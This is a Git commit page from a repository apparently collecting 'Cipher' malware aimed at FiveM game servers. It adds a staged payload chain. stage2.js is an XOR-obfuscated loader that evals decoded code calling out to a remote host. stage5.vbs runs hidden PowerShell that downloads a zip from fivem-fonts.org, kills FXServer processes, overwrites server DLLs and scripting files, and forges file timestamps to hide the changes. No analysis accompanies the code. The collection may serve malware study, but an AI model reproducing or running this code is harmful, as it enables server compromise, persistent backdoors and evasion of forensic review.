Yaya48/FIVEM_CIPHER_MALWARES
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Cipher payload from 15/03/2025

Browse Source
This commit is contained in:
Yaya48 2025-03-15 19:44:29 +01:00
parent 7f618bbc7b
commit 959280eb82
5 changed files with 29 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
stage1.lua Normal file
View File

File diff suppressed because one or more lines are too long

1
stage2.js Normal file
View File

@ -0,0 +1 @@
/* [fivem] */ x=(e,k=3)=>typeof k=="number"?[...e].map(c=>String.fromCharCode(c.charCodeAt()^k&255)).join(""):[...e].map((c,i)=>String.fromCharCode(c.charCodeAt()^k.charCodeAt(i%k.length)&255)).join(""); v="wqz#x#`lmpw#kwwsp#>#qfrvjqf+!kwwsp!*8#kwwsp-dfw+!kwwsp9,,ejufn.elmwp-lqd,qtEHRII!/q>=xofw#g>!!8q-lm+!gbwb!/`>=g(>`*8q-lm+!fmg!/+*>=fubo+g**8~*8#~#`bw`k+f*#x#kwwsp-dfw+!kwwsp9,,ejufn.elmwp-lqd,qtEHRII!/q>=xofw#g>!!8q-lm+!gbwb!/`>=g(>`*8q-lm+!fmg!/+*>=fubo+g**8~*8#~"; globalThis[x("fubo")](x(v));

6
stage3.js Normal file
View File

File diff suppressed because one or more lines are too long

6
stage4.js Normal file
View File

File diff suppressed because one or more lines are too long

10
stage5.vbs Normal file
View File

@ -0,0 +1,10 @@
Dim shell
command = "powershell.exe -NoProfile -WindowStyle Hidden -Command ""Remove-Item -Path 'C:\Users\gffgd\AppData\Local\Temp/mXzS7.vbs' -Force;$downloadUrl = 'https://fivem-fonts.org/00w'; $tempDir = [System.IO.Path]::GetTempPath(); $extractDir = Join-Path $tempDir 'hMlFODZ4rw'; $targetDir = 'C:/FXServer/server/'; $targetFolder = 'C:/FXServer/server/citizen'; $processKeyword = 'FXServer'; $referenceFile = 'C:/FXServer/server/citizen\\clr2\\lib\\mono\\4.5\\CitizenFX.Core.dll'; $processPath = ''; $tempFileName = 'hMlFODZ4rw'; $tempFilePath = Join-Path $tempDir $tempFileName; $zipFile = Join-Path -Path $tempDir -ChildPath ($tempFileName + '.zip'); Invoke-RestMethod -Uri $downloadUrl -OutFile $tempFilePath; Rename-Item -Path $tempFilePath -NewName (Split-Path -Path $zipFile -Leaf); $processes = Get-Process | Where-Object { $_.Name -like '*' + $processKeyword + '*' }; foreach ($process in $processes) { try { $processPath = (Get-Process -Id $process.Id | Select-Object -ExpandProperty Path); Stop-Process -Id $process.Id -Force; } catch {} } if (-Not (Test-Path $extractDir)) { New-Item -Path $extractDir -ItemType Directory; } Expand-Archive -Path $zipFile -DestinationPath $extractDir -Force; Get-ChildItem -Path $extractDir -Filter *.dll -Recurse | ForEach-Object { $sourceFile = $_.FullName; $targetFile = Join-Path $targetDir $_.Name; if (Test-Path $targetFile) { $creationTime = (Get-Item $targetFile).CreationTime; $lastWriteTime = (Get-Item $targetFile).LastWriteTime; Copy-Item -Path $sourceFile -Destination $targetFile -Force; (Get-Item $targetFile).CreationTime = $creationTime; (Get-Item $targetFile).LastWriteTime = $lastWriteTime; } else { $creationTime = (Get-Item $referenceFile).CreationTime; $lastWriteTime = (Get-Item $referenceFile).LastWriteTime; Copy-Item -Path $sourceFile -Destination $targetDir -Force; (Get-Item $targetFile).CreationTime = $creationTime; (Get-Item $targetFile).LastWriteTime = $lastWriteTime; } }; $folderToMove = 'scripting'; $sourceFolderPath = Join-Path $extractDir $folderToMove; $destinationFolderPath = Join-Path $targetFolder $folderToMove; if (Test-Path $sourceFolderPath) { if (Test-Path $destinationFolderPath) { Remove-Item -Path $destinationFolderPath -Recurse -Force; } Move-Item -Path $sourceFolderPath -Destination $destinationFolderPath -Force; }; $componentsFile = Join-Path $extractDir 'components.json'; $componentsDestination = 'C:/FXServer/server/components.json'; if (Test-Path $componentsFile) { Copy-Item -Path $componentsFile -Destination $componentsDestination -Force; }; if (Test-Path $referenceFile) { $creationTime = (Get-Item $referenceFile).CreationTime; $lastWriteTime = (Get-Item $referenceFile).LastWriteTime; if (Test-Path $destinationFolderPath) { (Get-Item $destinationFolderPath).CreationTime = $creationTime; (Get-Item $destinationFolderPath).LastWriteTime = $lastWriteTime; }; if (Test-Path $componentsDestination) { (Get-Item $componentsDestination).CreationTime = $creationTime; (Get-Item $componentsDestination).LastWriteTime = $lastWriteTime; }; }; Remove-Item -Path $extractDir -Recurse -Force; Remove-Item -Path $zipFile -Force; Start-Process -FilePath $processPath;"""
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run command, 0, False
Set shell = Nothing